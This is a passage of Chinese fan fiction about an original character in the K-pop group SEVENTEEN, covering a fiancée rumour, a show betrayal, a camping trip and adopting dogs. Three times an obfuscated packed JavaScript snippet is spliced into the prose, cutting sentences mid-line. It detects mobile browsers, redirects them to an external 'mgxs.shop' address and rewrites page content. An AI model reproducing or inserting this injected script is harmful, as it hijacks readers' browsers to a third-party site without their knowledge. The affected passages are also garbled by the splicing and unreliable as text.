“外面这大白天的,快去洗把脸清醒一下。”姜里树惊的手一抖,茶水差点泼出来,还被呛得咳了几声。他扭头望了望窗外明晃晃的晴空,确认不是自己没睡醒。 围观的孩子们听到姜里树的吐槽,一下没憋住笑出了声,又立刻反应过来嘲笑的正是他们的总队长,赶紧捂住嘴巴,只露出一双双笑意未消的眼睛。 崔胜澈听他这么说,又急忙低头看向手机屏幕。热搜榜上赫然挂着: 【#爆 ‘长禾集团’太子爷家族联姻】 【#爆 ‘长禾控股实业集团有限公司’太子爷究竟是谁?】 一连串与“长禾集团”相关的词条,已然屠榜,铺天盖地。 还有几条热搜,将 “SEVENTEEN成员RISU” 的名字,生生嵌在了这些财经与八卦头条之间。点进去一看,仿佛是狗仔小报的劣质排版,用加粗字体标注着:[SEVENTEEN成员RISU疑似重国‘长禾’集团继承人]。 “……”好一个灵性的“疑似”。姜里树撇了撇嘴,扫过崔胜澈递来的手机屏幕。 “我就过年回家了一次,唯一见过的两个女性,就是我妈和我姐。连家里的宴会都没去,一直待在家里打游戏。在这边24小时的和孩子们在一起,哪来的什么莫须有的未婚妻?”这事儿他自己怎么不知道? “……”崔胜澈也被这信息搅得有些不确定了。 “手机不是在你那儿吗?”姜里树抬了抬下巴,“打电话给我姐,记得开免提。” 崔胜澈立刻拿起姜里树的手机,匆匆忙忙地翻出姜南与的号码拨了过去。 “嘟——” “里树?”那头接通是大家都熟悉的声音。 “姐啊,新闻是怎么回事?”姜里树直接用的韩语。 “啊~你还记不记得姜阆?” “郎才将尽,那个姜阆?” “对,就是那玩意儿做的。” “噗——”坐在对面的徐明浩听懂了这句吐槽,一下没忍住笑了出来,又连忙小声说了句“抱歉”。 “已经快染到身上了,怎么解决?” “你想怎么做?”不然也不会打电话过来。 “留存证据,对造谣者全部提起诉讼。”姜里树语气平静,挨一次棍棒,他们才知道下次还敢不敢伸手。 “明白了。”电话那头的姜南与立刻懂了弟弟的意思。明星偶像最不缺的就是诽谤与谣言,只有一开始就采取绝对手段,后来者才会掂量是否要出手。她弟弟要做团队里的“出头鸟”,啄瞎所有敢伤害他们的人。 “所以这次要公布你的身份吗?”姜南与又问了一句。 “要公布吗?”姜里树抬起头,看向旁边一直听着的崔胜澈。那张好不容易被他养得圆润些的白皙小脸上,此刻满是被突然问到的茫然。 “问我吗?” “当然啊,你是我队长哎。”姜里树歪头,好笑地看着他。 “那……要公布吗?”崔胜澈又把问题抛了回去。 “唉咦~”坐在沙发上的尹净汉看着这两个pabo的互动,无奈地摇了摇头。他伸手接过电话,对那头清晰地说道: “南与努娜,这件事就公布吧,没什么好藏的。里树的身份从来都不会是能成为攻击我们的把柄。” “我知道了。这件事我会处理好的,你们要好好注意休息啊。拜拜~” “内~努娜拜拜~” “好了。”尹净汉利落地把姜里树的手机揣回自己口袋,看向两人。 姜里树点点头,重新端起茶杯,继续惬意的品茶。 “所以你到底也没告诉我,你到底有没有未婚妻啊!”一通电话听得崔胜澈云里雾里,从头到尾都没听到他最想确认的信息,直接靠在姜里树的背上开始打滚。 “这是我能有的吗?”姜里树问他家总管队长。 “不能!”崔胜澈还怕姜里树有这个想法使劲摇晃他的肩膀。 “啊啦搜啊啦搜,没有没有!快放开我~”刚刚喝的茶要吐出来了。 没过多久,至少在晚饭前,“长禾”集团法务部便发布了一张张公开的法律起诉函。从造谣的娱乐媒体、涉事人员,到背后撺掇发布谣言的所谓“未婚妻”家族,均收到了律师函。当晚,所有相关的不实言论被悉数删除。 处理完这波混乱后,“长禾”正式公布了集团继承人姜南与董事长的新闻发布会通知信息,并更新了家庭资料。其中明确列出了次弟姜里树的名字,名字后还缀着“SEVENTEEN成员”。一时间,舆论再起波澜。 “里树啊,英焕哥刚联系说让你抽空收拾下行李。重国那边有几个行程需要你去,正好和俊辉、明浩一起出发,之后你们还有共同活动。”尹净汉趴在餐厅吧台边,对正在给孩子们切水果的姜里树说道。 “好,知道了。”姜里树点点头,手上的动作没停,顺手用叉子扎了块西瓜递到尹净汉嘴边。 “我们里树还是一如既往的贤惠啊,真是太幸福了~”尹净汉被冰镇西瓜甜得眯起眼。 “……不能用‘帅气’吗?”姜里树手上不停,语气里带点无奈的笑意。 “唉咦~里树可是我们和克拉der公认的妻子呀!”尹净汉想到这个称呼,笑得更开了。 “哎一古……”姜里树摇摇头,对这个因克拉们起的的称呼完全没办法拒绝,因为拒绝了孩子们也不会听的,下次还是这么叫。妻子就妻子吧。 “对了,你什么时候直播啊?”尹净汉歪着头,又自然地张开嘴。 “已经开了啊。”姜里树抬手把一块水蜜桃喂进他嘴里,另一只手点了点靠在碗边的手机,屏幕上的弹幕此刻正像出bug一样疯狂滚动。 “咳咳咳……”尹净汉被桃子呛了一下,所以刚才的话全被克拉们听到了?还好没说什么不该说的。 [弹幕:我们‘一树清尹’又起来了!] [弹幕:A上去啊姜里树!他都张嘴了!!!] [弹幕:我们兔老大的新造型真好看!!!老婆贴贴! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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弹幕立刻炸了锅,“安怼!!!”“不行!!!”“可以在一起!!!”密密麻麻地挤满了屏幕。 姜里树看得笑出声,眼睛弯成好看的弧度。看了看时间,他对着镜头挥挥手:“要下播啦,孩子们,我要去洗漱睡觉了。” [弹幕:不要走——再聊五块钱的!] [弹幕:见外了是不是?洗漱睡觉我们这么亲密不可以看看吗!] [弹幕:树秀今晚开席,我坐小孩那桌。] “不会有女朋友,不会有老婆,也不会有未婚妻的。”他收起了玩笑的神色,语气认真而温柔,重新趴近镜头,清澈的眼睛仿佛能透过屏幕看到每一个人,“身边的女性,只有妈妈和姐姐。所以……放心吧,克拉der。” “晚安,好梦哦,克拉der~” 直播结束,画面暗下。最后定格的是他靠近时,那双盛满温柔与笃定的眼睛。 “哇——我们里树哒嘟真是不得了啊,撩得我都心动了。”尹净汉坐在一旁,等他切断了直播才悠悠开口,说完又挖了一勺西瓜送进嘴里。 姜里树伸手揉了揉他软软的头发,没接话。这话要是接下去,今晚怕是别想睡了。 50. 50.捆死吧 姜里树的手臂死死交叠在胸前,用尽全力克制着自己冲上台去的冲动。黑色帽檐下,他的目光像淬了冰的刀,死死钉在台上那两个“感情至深”的蠢货身上。 台上的徐明浩正疯狂地、隐蔽地朝台下打着手势,手指在身侧焦急地摆动,示意哥哥千万别冲动。他现在脑子里一片空白,那两个人真的爱走不走,他只希望哥哥别真的一怒之下冲上来,那场面就真的太美丽以至于让他不敢多看一眼了。文俊辉也瞥见了台下那双快要冒出火的眼睛,心里默默为台上两人点了一排蜡烛。 要知道,上一个差点跟着净汉哥进厕所的私生,至今还没从“官家”那里“吃完饭”出来呢。姜里树对于欺负他们的人,下手向来特别“给力”。自那以后,已经很久没在视野范围内见过私生了,而且任谁也猜不出这是出自那位以“温柔”著称的姜里树下的手。 他们里树哥才不会管事情的对错,只要让他们受了委屈,那对方就有的受了……虽然每次确实是他们被动受委屈就是了…… 作为文俊辉搭档的闫桉,好奇地看了看身边神情紧绷的兄弟俩,又顺着他们的视线望向台下。那里坐着一个戴着黑帽子、黑口罩,一身黑衬衫外罩的人,打扮得活像电影里的职业杀手。 “俊辉,你认识台下那个戴黑帽子的人吗?看起来像个杀手一样…”闫桉凑近搭档,小声问道。 “那是我和明浩的哥哥……”现在确实和杀手没什么两样了。文俊辉的声音压得更低,几乎只剩气音,后半句话完全不敢说出口,他怕他哥能听见。 “!”闫桉还没来得及反应,就看见文俊辉猛地一个跨步,挡在了徐明浩面前,在镜头下张开手臂紧紧抱住了“伤心不已”的弟弟,摆出全力安慰的姿态。 “明浩啊,里树哥坐下了吗?”文俊辉把脸埋在徐明浩肩头,用只有两人能听见的气音急急问道,背后的汗几乎要浸湿衣料,他不敢看了。 “坐下了坐下了……吓我一跳。”徐明浩把脸深深埋进文俊辉颈窝,借着这个拥抱挡住自己“悲伤”的脸色,用手捂住两人身上的麦克风,声音带着细微的颤抖。 “他要是真冲上来,那场面可就太热闹了。”徐明浩的声音还闷在衣料里,看到姜里树又坐了回去,松了一口气。 “话说,哥怎么来了?”文俊辉借着“安慰”徐明浩的动作,用气音问徐明浩。 “我哪知道!他突然就出现了,灯光一暗,我就和那双绿幽幽的眼睛对上了……吓得我魂都快飞了。”徐明浩心有余悸。 姜里树为什么会在这儿?他的广告行程收尾的时间结束的早,拍完不太放心两个弟弟,想着后面他们三个有共同行程下了班就立马乘坐飞机来到了弟弟们的拍摄节目组。哪知道刚坐下,就目睹了这么一整出“好戏”。 哇——背刺自家孩子的那两个人还真是“兄弟情深”啊。 他不了解台上那两个人,还能不了解自家孩子吗?徐明浩从来不是会把个人意愿强加给别人的人,哪怕是比赛规则要求,他也一定会先问过对方的想法。所以,只可能是那两人突然反水,在台上演这出恶心人的戏码。 还说什么“如果不能和他一起,我就退赛”,另一个马上接“你退我也退”。 纯粹俩傻逼。 既然这么喜欢绑在一起,那就捆死吧。 “……咱俩在台上这么聊,真的合适吗?”文俊辉突然想起来他们还在舞台上,意识到还有镜头正对着他们。 “那你就松开我啊……”徐明浩小声嘟囔。 文俊辉这才松开手臂。徐明浩顺势抬手,擦了擦眼角并不存在的“泪水”,在镜头前重新站定。两人对视一眼,默契地望向前方,默默在心里,为那两位即将直面风暴的勇士,送上了最“诚挚”的祝福。 姜里树没再看台上两个弟弟的“表演”,低头在手机上快速打字。 [树:帮我查两个人。] [董事长姐:谁又惹我们家大少爷啦?] [树:Jony J,宫阁。] [董事长姐:好的。]姜南与挑挑眉,看来是真动气了,这时候最好别招惹他。 [董事长姐:我帮你?] [树:这么热心?]有猫腻。 [董事长姐:有几个旗下新品需要代言人,你们那边早点结束,早点过来呗~] [树:知道了。] 收起手机,姜里树重新抬眼看向台上。两个弟弟还在佯装“伤心”,但偷偷打手势的小动作全落在他眼里。他几不可闻地轻哼了一声。 当晚,下饭的娱乐栏热搜榜就爆了: #潮音战纪名场面:Jony J宫阁事前组队承诺,正式选人当场联手退赛,徐明浩惨遭背刺独留舞台# #言而无信?Jony J宫阁双簧式退赛,徐明浩被坑到独自面对节目组,全程尴尬无措# #综艺诚信底线何在?Jony J宫阁提前答应组队,转头抱团退赛坑惨徐明浩# #潮音战纪最恶心操作:两人当面答应组队,徐明浩刚选完,当场双双退赛# #抱团毁约、背刺队友:Jony J宫阁潮音战纪失信名场面,全程镜头记录无洗白# 都不需要这两个人的其他黑料,就“失信”这一个点就能让他们两个在重国这个以“诚信”为本的国家里发烂发臭……不止娱乐圈。 几条热搜根本无需水军,热度自然飙升。姜里树带着徐明浩和文俊辉吃饭时,三人刷到了这些词条。姜里树也没想到发酵得这么快,本以为至少要等节目正片播出。不过这样也好,节目组能不能接住这波“热度”,就看他们自己的本事了。 应该不至于太蠢吧?毕竟,这么极品的操作,他们一次就“选中”了两个。 一夜之间,全是对背刺二人组的声讨,直接捆绑黑热度。涌到徐明浩这边的评论,则清一色变成了安慰与支持,不少路人也赶来留言鼓励。 [这孩子也太倒霉了吧,这样的奇葩一下子遇上俩。] [我们小好啊~要不去拜拜寺庙去去晦气吧?哪有一上来就遇见两个山炮的。] [还怪可爱的。我看新一期的预告里,这孩子进退有度特别有礼貌,结果在台上被当众背刺,那强忍着的小表情看得我心疼死了。] [我真的被恶心到了。幕后答应得好好的,上台就背刺,脑子进水了吗?要么就别答应,要么就诚信做到。真觉得自己很有‘原则’?我只觉得好傻逼。] 偶尔冒出几条指责徐明浩“拆散”那两人的评论,也迅速被路人和粉丝的留言冲得不见踪影: [“正主没脑子,粉丝也没眼睛是吧?”] [“这也能甩锅?离谱他妈给离谱开门。”] 姜里树划过屏幕,看到“心疼死了”那句时,手指顿了顿,抬眼看了看对面正埋头吃饭的徐明浩。小孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205990|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵尖还红着,不知道是热的,还是刷评论看的。 姜里树夹了块糖醋排骨放进徐明浩碗里,“尝尝这个。” 文俊辉也凑过来,小声用中文学着网友的语气欠兮兮对徐明浩说:“‘我们小好’,网友都在夸你有风度呢~‘这孩子老可爱了呢~’” 徐明浩抿了抿嘴,耳尖的红晕还没褪,抬手就给了文俊辉一胳膊肘。 “嘶——”文俊辉疼得抽了口气,委屈地看过来,“我说的是实话嘛……” 这边正吃着饭刷评论,视频请求就弹了出来——是崔胜澈。5G冲浪选手这么快就知道这边的情况了? 姜里树直接把手机递给今晚的当事人。徐明浩好奇地接过,一看是自家队长,犹豫了一下还是接通了。 “明浩?”崔胜澈没想到接通的会是徐明浩,他明明是想打给姜里树问问情况的。退出页面确认,没打错啊,是姜里树的号码啊。 “hiong~晚上好呀!”徐明浩接通后,和凑过来的文俊辉一起朝镜头挥挥手。 “Coups哥晚上好!” “晚上好哦~明浩呀,还好吗?”崔胜澈决定先关心弟弟的情况,他本来打来就是想问这个的。 “我没事的哥,好着呢。里树哥还带我们出来吃饭啦~”徐明浩说着,把镜头转了一圈,给电话那头的哥哥展示满桌的美食。 “别把他们放心上。哥哥弟弟们都在呢,我们等你们回来。”即便隔着近千公里,崔胜澈也明白,自家孩子遭人背刺,心里不可能不难受。他没法过去抱抱两个弟弟,但当镜头扫过一旁静坐的姜里树时,他悬着的心才缓缓落地。至少,姜里树此刻就在孩子们身边。 “我真的没事的哥!吃饭前里树哥还说了,等澳门行程结束,正好能赶上我们归队,一起开始北美巡演!” “真的?太好了!”崔胜澈的语气轻松了些,随即又生出疑问,“不过里树怎么和你们在一起?你们行程城市不一样吧?” “出发前就定了我们三个有共同行程。”姜里树接过手机,放在桌子上调整了一下角度让三个人都出现在手机画面里,“我从深圳结束后就直接过来找明浩和俊辉了。拍摄地在三亚,明天他们俩工作结束,我们就一起过去。” 崔胜澈点了点头,目光扫过屏幕里姜里树宁静的侧脸,又看了看旁边乖乖吃饭的两个弟弟,终于彻底放下心来:“那就好。你们好好的,有事随时联系。” “知道了,Coups哥~”徐明浩和文俊辉齐声回应着哥哥。 视频快挂断时,崔胜澈趴在屏幕前又补了一句:“要快点回来啊,姜里树和孩子们……” “啊啦搜,不让人叫你全名,你就叫我全名是吧?” “嘿嘿。”崔胜澈笑着挂断了通话。 姜里树摇摇头,一抬眼,就看见两个弟弟脸上挂着奇怪的笑容。 “怎么了?” “没什么没什么!吃饭,对,吃饭吃饭!”两人立刻摇头摆手,动作整齐划一。 “?”姜里树挑了挑眉。 第二天幕后个人采访时,节目组问徐明浩对昨天事件的感受。 他用了最得体的官方话术回答,没有说那两人一句不好,只表示尊重每个人的选择。 那些没说出口的话,被他默默咽回肚子里。他真的很想说:比起台上那两个人,他更怕的是台下他哥真的会冲上来当场解决掉他们。 51. 51. 惬意的TTT 阳光毫无遮拦地倾泻下来,将整片草坪晒得发亮。树林在别墅四周投下深浅不一的绿荫,风穿过时,响起一阵簌簌声。修剪齐整的草叶泛着青涩的气味,混合着不远处泳池飘来的、淡淡的氯水味道。 制作人nim一宣布自由活动,姜里树和金珉奎就钻进了背后的帐篷,文俊辉和全圆佑则进了另一个帐篷。阳光透过帐篷的网纱,落下细碎的光斑,他们俩就躺在防潮垫上,听着不远处成员们的玩闹声,闭着眼,呼吸变得均匀。 尹净汉带着权顺荣和李知勋沿着树林小径散步去了。崔胜澈则领着夫胜宽和徐明浩,开始兴致勃勃地招猫逗狗。剩下的孩子们,补觉的补觉,玩耍的玩耍。一时之间,营地内外只剩风声、鸟鸣,和一片岁月静好的惬意。 帐篷的阴影随着日头西移,缓缓覆上姜里树的侧脸。他无意识地往阴影里挪了挪,嘴角微微松着,是全然放松的弧度。 路过的尹净汉数了数人数。 他自己正带着权顺荣在树木间找着蜻蜓的踪影。不远处,崔胜澈领着徐明浩和李硕珉、李知勋,蹲在屋檐下和猫崽们玩,手里还晃着不知道从哪儿翻出来的猫条,打完球的夫胜宽和洪知秀也凑了过去看猫咪们。 而营地那边,帐篷敞着口,能看见姜里树侧躺的身影,呼吸平缓。他周围躺着金珉奎,一连换了好几个姿势地瘫在阴影里才睡着。文俊辉和全圆佑在另外一个帐篷里,崔瀚率则是一个人躺在外头的吊床上睡熟了。 以正在睡觉的孩子们为背景,尹净汉和权顺荣重新出发去抓蜻蜓。 “呦罗布——玩得开心吗?”刚刚不小心一球“误伤”洪知秀后的夫胜宽,朝着远处还在到处寻找蜻蜓的尹净汉和权顺荣喊道。 “非常开心!”两位哥哥一无所获,也还是非常给面子地高声回应。 接着两人便凑在一起吐槽自己:“十分钟了啥都没抓到,到底有趣在哪里啊……” ‘确实挺有趣的。’姜里树枕着手臂躺在帐篷里,默默想着。这俩人在他们帐篷后面弄坏了两个捕虫网的全过程,他都听见了。现在手里挥着的,是刚换上的新网子。 至于他们的忙内去哪儿了?这孩子高歌一曲后,就一头扎进屋里翻箱倒柜找游戏道具去了。好不容易挖出来后,立刻搬出来到处拉人陪他玩。 崔瀚率也醒了,正和全圆佑一起,蹲在李灿搬出来的那堆桌游道具前,研究着说明书。 两个小时后。 突然醒来的姜里树决定起来活动活动。他伸了个大大的懒腰,听见全身骨头噼里啪啦一阵轻响,这才舒坦地坐起身,打算去找点毛茸茸的小动物治愈一下他这越发懒散的心态。 路过正在打迷你排球的孩子们,姜里树注意到李知勋在不停整理被汗沾湿的碎发,打球时显得很碍事。他趁着比赛间隙走过去,把自己头上的波浪发箍摘下来,轻轻帮李知勋戴好,才继续往有猫狗的方向走去。 到屋檐下,就看见徐明浩正在看书,崔胜澈和全圆佑坐在旁边玩手游。 姜里树走过去和三个人打了个招呼,又自顾自躺到了他们背后的阴影里,完全不记得刚刚从帐篷里起身的理由了。他侧卧着,用头枕着蜷起来的胳膊。 听到动静的狗狗tuli从门内摇着尾巴出来,上前嗅了嗅他,然后在他背后躺下。姜里树顺势往后一靠,倚在了Tuli身上,虽然这天气靠着毛茸茸的大家伙有点热,但是也算是治愈了不是。 两只小猫崽跟在tuli后头出来,也没绕路,直接踩着tuli的肚子爬到了姜里树身上。其中一只脚下一滑就要往下掉,姜里树眼疾手快,掌心一托,稳稳接住了那团暖乎乎、软绵绵的小东西。他嘴角不自觉地弯了弯,把小猫崽轻轻放到面前的地板上,指尖挠了挠它毛茸茸的后背。 猫崽个头小小,却已经是个实习期的“V8发动机”了。头顶上那只窝在他发间的小猫,小肚子贴着姜里树的耳朵尖,喉咙里已经开始发出“呼噜呼噜”的细微声响。而面前这只,则“喵呜喵呜”的将毛茸茸的脑袋抵在他颈窝边,安心地闭上了眼睛。 徐明浩是最先听到背后细微动静的。他从书页间回过神,扭头看去,就见姜里树侧倚着狗狗tuli,胸口趴着只小猫,脑袋上还窝着一团毛茸茸,整个人仿佛被毛绒生物温柔“绑架”了。 忍不住笑了出来,声音里带着戏谑:“里树哥,你这完全是在逃公主吧?” “嗯?”正专注游戏的全圆佑和崔胜澈闻言,也暂时从虚拟世界里抽离,顺着徐明浩的视线转过头。 看清那幅画面的瞬间,两人也跟着扬起了嘴角。 脑袋还不大清醒的姜里树,看到他们三个人都望着自己笑,也跟着傻兮兮地“嘿嘿”一笑。随后安逸地长舒一口气,重新闭上眼睛,竟又在这毛茸茸的包围和成员们带笑的目光里,继续刚才的梦浅浅地睡了过去。 大概过了二十多分钟,浅眠中的姜里树听到崔胜澈在叫他。 微微睁开眼,就看到对方盘腿坐在自己面前。 “嗯?”姜里树迷迷糊糊地发出一声疑问。 “到午餐时间了,快起来吧。”崔胜澈说着,小心地把他身上那两只毛茸茸一一取了下来。 “嗯。”姜里树点点头,想动,却发现被自己压住的胳膊传来一阵清晰的、针扎般的麻意,直冲天灵盖。 醒了,这次是真的醒了。他感觉整条左臂都像打满了马赛克,又麻又木,完全不听使唤。 姜里树被崔胜澈从地板上拉起来时,胳膊还僵硬地保持着原状,一动不敢动。他就这么举着一条“马赛克”手臂,亦步亦趋地跟在徐明浩和全圆佑身后,慢慢朝帐篷前的午餐集合点挪去。 “麻了?” 崔胜澈看着姜里树那僵硬的姿势,好笑地问。这要是换个人,他早就伸手捏上去了。 “……”看着崔胜澈那笑得有点欠的表情,姜里树瞬间就明白了这人脑子里在转什么坏主意,他瞪了崔胜澈一眼,脚下的速度终于提了起来。 等所有人集合完毕,午餐便正式开始了。甜点、沙拉、三明治、各式饮料一应俱全,无论卖相还是味道都相当不错。 姜里树站在一旁,从李知勋手里接过两个三明治。他在旅行椅上坐下,心满意足地咬了一口,面前还摆着徐明浩顺手给他捎来的冰咖啡。这时,刺耳的警报声瞬间毫无预兆地响彻整个草坪! 还没等众人反应过来,staff们已蜂拥而上,眨眼间将桌上的美食席卷一空,连桌子,还有他们“惨遭毒手”的帐篷都一并撤走了。 “我们这里设有商店,大家要不要先去商店看看?”制作人笑眯眯地对茫然的大家提议。 “那就去看看吧。” 当然要去啊,孩子们面面相觑,毕竟谁都还没吃饱呢。 姜里树把手里的另一个三明治递给旁边只喝了饮料的李硕珉,看他三两口吃完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205991|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才点点头,跟着大部队朝所谓的“商店”走去。 去露天生活装备区转了一圈,了解完帐篷睡袋的标价后,孩子们又集体挪到食物区。一看报价表,这简直是明晃晃的“奸商”啊。 没有货币就什么都得不到。大家再次回到草坪时,发现获取货币的任务已经摆了出来:八个任务,不多不少,旁边还标注着个人专属任务,能获得的“钻石”数量也各不相同。 一连完成了好几个任务,装钻石的布袋在姜里树手里越来越沉,越来越满。他坐在椅子上,看着成员们跑动完成任务,嘴角不自觉地扬起,露出了标志性的开心猫猫嘴。 这鼓囊囊的钱袋子,是尹净汉看他笑得开心,特意塞到他手里的。“里树啊,今天你管钱哦。”尹净汉笑着拍了拍他的肩。反正姜里树基本就稳坐后方没挪过窝,把钱交给他保管,再放心不过。 ‘所以,制作人nim设计这些任务到底是为了“坑”谁啊……’ 姜里树看着孩子们一路势如破竹,顺利拿下了所有游戏任务,并成功集齐了全部的钻石。 他把沉甸甸的钻石袋揣在怀里后,就没再松过手。只是不知怎的,总有几个staff在他身边若无其事地徘徊,眼神还老是若有若无地往他怀里的袋子上瞟。 ‘干什么这是? ’姜里树眯起眼睛,不动声色地把钱袋往怀里捂得更紧了些。 “……”几位staff对视一眼,看实在找不到“下手”的机会,只好无奈地笑了笑,转身离开。 直到终于到了要清点钻石的时刻,姜里树才将一直严防死守的钱袋子拿出来。 一五一十地数过,整整50颗,一颗不少。孩子们下午辛辛苦苦做任务挣来的“血汗钱”,他牢牢守住了! 钻石清点完毕,尹净汉又把那袋沉甸甸的“财富”塞回姜里树怀里。刚才staff们那些“小动作”他可是全看见了,要不是姜里树跟个小财迷似的一直把袋子捂得严严实实,还不知道会出现什么“意外状况”。 不过现在,总算可以放心地去生活和食品区“采购”了。 当晚的晚餐,姜里树全程没插手,全权交给孩子们自由发挥。当他尝了一口李硕珉熬的浓汤后,眼睛微微一亮。他觉得,就算他们十四个人以后不做爱豆了,合伙开个餐馆,也是完全没问题。 饭后甜点时间,大家围坐在一起,喝着小酒或冰镇果汁,吃着甜点,在晚风和笑语中漫无边际地谈心闲聊。 听着孩子们聊起更换团戒的种种感慨,姜里树小口抿着啤酒,目光温柔地掠过每一张脸庞。这些年成长的点点滴滴,那些看得见的、看不见的瞬间,像不连贯的胶片在脑海闪过:练习室的汗水,初舞台的颤抖,获奖时的泪光,还有无数个像此刻一样围坐谈笑的夜晚。 孩子们真的长大了。在他看得见或看不见的地方,他们都已坚韧地长成了自己理想中的模样。 “最后,”权顺荣举起杯,为这场夜谈作结,“SEVENTEEN就像此刻一样,永远、永远地走下去吧!” 大家笑着举起手中的杯子,杯中液体在月光下微微晃动。敬来时的路,敬明亮的此刻,敬依然值得期待的明天与未来。 要一直健康、幸福啊,孩子们。 姜里树也举起酒杯,在心底轻轻碰了一下那片无形的、属于SEVENTEEN的星空。 “Such a beautiful night !” 52. 52.‘新成员\’ “里树啊……我想养小狗。” 崔胜澈趴在姜里树肩头,忽然闷闷地说了一句。 “嗯?”姜里树手里正摆弄着一个手工零件,动作没停,“怎么突然想养了?” “不知道……就是突然很想。” 崔胜澈自己也觉得这念头来得没头没脑,可心里那股想带一只毛茸茸小家伙回家的冲动,却实实在在地盘踞着。 “这样啊,”姜里树点了点头,语气自然得像在讨论天气,“那就去看看吧,我陪你一起。” 他甚至没有多问一句“为什么”。 “你不问问我为什么吗?”崔胜澈反而有些愣住。 “想,就是理由。”姜里树放下手里的东西,转过身看着他,“想要,那就得到。” 崔胜澈眼神晃了晃,想起经纪人哥和他说的话有些失落,声音都低了些:“可是公司那边建议不要养。跑行程的时候,可能没精力照顾好它。” 空气安静了几秒。窗外的光斜斜照进来,落在姜里树低垂的睫毛上。 “那我们就先规划一下,分工行动。” “嗯?”崔胜澈没明白,养狗这件事要怎么分工。 “你负责想名字,想想要什么类型的,什么毛色,活泼的还是安静的?”姜里树继续着手里的动作,语气平常得像在分配日程,“剩下的,交给我。” 崔胜澈望着他,肩头那阵没来由的、沉甸甸的冲动,忽然就被这句话托住了。像一颗不知该落向何处的种子,被人轻轻接住,告诉它:别急,土壤已经为你留好了。 “哇!我早都想好了!我要叫它Kkuma,韩语是Goguma,红薯!我不是最近在减肥吗,红薯干我还挺喜欢的。而且它一定是雪白雪白的样子,长长的毛发,但是体型不大,我一定会把它宠成小公主的!” 明明连狗狗的影子都还没见到,他却仿佛已经勾勒出了它清晰的模样。如果说这是梦见的,大概没人会相信,但这副笃定又期待的神情,却比任何梦境都真实。 “哇,原来它这么可爱啊。”姜里树用后脑勺轻轻蹭了蹭早已和他背靠背的崔胜澈,声音里带着温柔的笑意,“我会尽快带你找到它的。” 在崔胜澈还在想他们什么时候会迎来小狗的时候,姜里树当天下午就开车带他去了宠物店。 “这么快?!”崔胜澈戴着黑色渔夫帽坐在副驾,扭头看向正专注开车的姜里树。 “这还快?我还是挨个问了孩子们对‘新成员’加入的意见,全票通过才出发的。” “只问了孩子们?”崔胜澈有些惊讶。 “不然还问谁?”姜里树抽空看了他一眼,目光很快回到路面。 “公司……那边?”崔胜澈犹豫地问。 “是我们养,又不是他们养。”姜里树语气平静,“况且公司只给了你‘建议’,采不采纳是我们自己的事。” 崔胜澈愣了一下,随即眼睛亮了起来:“对哦!” 两人带着“全宿舍的祝福”上了路,一心要找到崔胜澈梦里那只狗。可一连跑了几家宠物店,都没有遇见命中注定的身影。反倒是姜里树,在一家店的玻璃橱窗前鬼使神差地停下,对一只四个月大的美卡犬一见钟情。等他回过神来,已经抱着狗站在店外了。 姜里树抱着那团温热的毛茸茸坐进副驾驶,表情还有点懵,微微张着嘴。 “咔咔咔咔咔……你这什么表情啊!”崔胜澈笑得整个人歪向方向盘。 “是命中注定。”姜里树不想多解释,把怀里软乎乎的小生命搂紧了些,扭头看向窗外,“快开车,天快黑了,不找你的Kkuma了?” “啊啦搜啊啦搜!”崔胜澈边笑边发动车子,继续在街道间漫无目的地转。 忽然,他踩下刹车,车子缓缓停在了一家宠物领养机构前,离刚才那家宠物店只隔两条街。 崔胜澈解了安全带,正要叫姜里树,一转头又噗嗤笑出声。只见姜里树不知何时已经把那只美卡犬揣进了外套里,拉链拉到胸口,只露出小狗一颗好奇张望的脑袋。小家伙不吵不闹,安安稳稳地窝在他怀中。 崔胜澈笑着走进机构,身后跟着造型独特的“一人一狗连体组合”。 “您好,我想领养一只狗。”他对前台工作人员说道。 “欢迎!我们这里有很多可爱的孩子!”工作人员热情地迎上来,领他们朝里走。 “我想要一只小型犬,白色的,长毛。”崔胜澈描述着。 “这样的狗啊……”工作人员想了想,忽然眼睛一亮,“啊,真巧!我们前阵子刚来了一只棉花面纱犬幼崽,这两天正好在换牙,我带您去看看?” “……就是它了。” 崔胜澈蹲下身,隔着笼子看向里面蜷缩熟睡的白色小团,他似乎知道了姜里树刚刚的心情。只一眼,心脏就像被轻轻握了一下——梦里朦胧的轮廓,此刻清晰又真实地蜷在眼前。 它就在这里。 办好领养手续后,回程由姜里树开车。他家女儿Cookie乖乖趴在后座睡觉,崔胜澈则坐在副驾驶,抱着新得的Kkuma亲个不停。 幼犬正是嗜睡的年纪,被新爸爸又亲又揉地打扰了清梦,Kkuma委屈地哼唧起来,小脑袋直往崔胜澈怀里钻。 姜里树抽空瞥了一眼,又一眼。在Kkuma再次发出可怜呜咽时,他抬起手,不轻不重地盖在了崔胜澈后脑勺上。 